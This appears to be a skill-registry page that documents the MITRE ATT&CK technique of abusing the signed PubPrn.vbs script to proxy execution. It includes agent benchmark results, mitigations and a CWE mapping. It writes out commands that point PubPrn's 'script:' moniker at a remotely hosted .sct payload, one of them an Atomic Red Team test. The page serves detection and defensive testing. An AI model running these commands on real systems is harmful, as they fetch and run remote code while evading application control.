Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may use PubPrn to proxy execution of malicious remote files.
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-02 | ✗→✓ | ▲ Improved | 7% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 44% | 0% |
| case-06 | ✗→✓ | ▲ Improved | 45% | 0% |
| case-07 | ✗→✓ | ▲ Improved | -7% | 0% |
| case-08 | ✗→✓ | ▲ Improved | -74% | 0% |
> Sub-technique of: T1216
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Platforms: Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
Supported Platforms: windows
cmdcscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
If Atomic Red Team tests are not applicable, manually verify the technique by:
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.
| Finding | Severity | Impact | | --------------------------- | -------- | --------------- | | PubPrn technique applicable | Medium | Defense Evasion |
| CWE ID | Title | | ------- | ---------------------------- | | CWE-693 | Protection Mechanism Failure |
Other measured skills in the registry, with their headline benchmark lift.